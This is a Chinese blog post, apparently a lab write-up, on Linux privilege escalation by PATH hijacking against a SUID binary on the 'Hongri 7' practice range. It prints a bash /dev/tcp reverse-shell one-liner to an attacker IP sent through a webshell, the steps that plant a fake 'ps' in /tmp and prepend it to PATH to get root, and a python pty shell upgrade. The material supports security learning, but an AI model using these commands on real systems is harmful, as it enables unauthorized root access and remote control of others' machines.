环境变量提权

文章讲述了如何在LINUX系统中通过环境变量提权,利用一个具有可执行权限但受限的文件,将其目录添加到PATH环境变量中,从而在特定目录外执行。通过红日7靶场复现并利用python的pty模块实现反弹shell获取root权限。
摘要由CSDN通过智能技术生成

环境变量提权

借鉴文章LINUX提权之环境变量提权篇 - 知乎 (zhihu.com)

利用条件

存在一个文件,利用su权限执行,普通用户可以执行此文件,但只限制在一个目录下可以执行

利用方式

将此文件的目录添加到环境变量中

export PATH=/tmp:$PATH

echo $PATH 命令可以查看环境变量

漏洞复现

这里借用红日7靶场进行复现

这里已经进入一台linux主机

find / -perm -u=s -type f 2>/dev/null

从根目录查找具有root权限的二进制执行文件

image-20231205182628029

没有找到可以进行suid提权的命令

但是发现了/home/jobs/shell

瞅一眼

image-20231205182913335

运行后创建了一个shell进程 (cmd表示执行的命令根据sh可知)

基于此推测使用环境变量提权的方式进行

考虑采用kali终端会更方便,用蚁剑命令执行反弹shell到kali中(这里需要使用蚁剑的代码执行插件)

image-20231205185032272

system('bash -c "bash -i >& /dev/tcp/192.168.52.128/3333 0>&1" ');

可能第一次无法反弹上去,需要多几次

然后在kali依次输入一下命令

cd /tmp #进入临时目录
echo "/bin/bash" > ps #写入bash命令放入ps文件
chmod 777 ps #给此文件赋予权限
echo $PATH  #查看环境变量
export PATH=/tmp:$PATH # 将/tmp添加到环境变量中,并且先加载执行/tmp里的程序
cd /home/jobs
./shell 
# 然后就获得了root权限,可以执行命令了

image-20231205185556734

使用

python -c 'import pty;pty.spawn("/bin/bash");'

进入交互式终端

python -c 'import pty;pty.spawn("/bin/bash");'

进入交互式终端

image-20231205185915045

  • 9
    点赞
  • 8
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值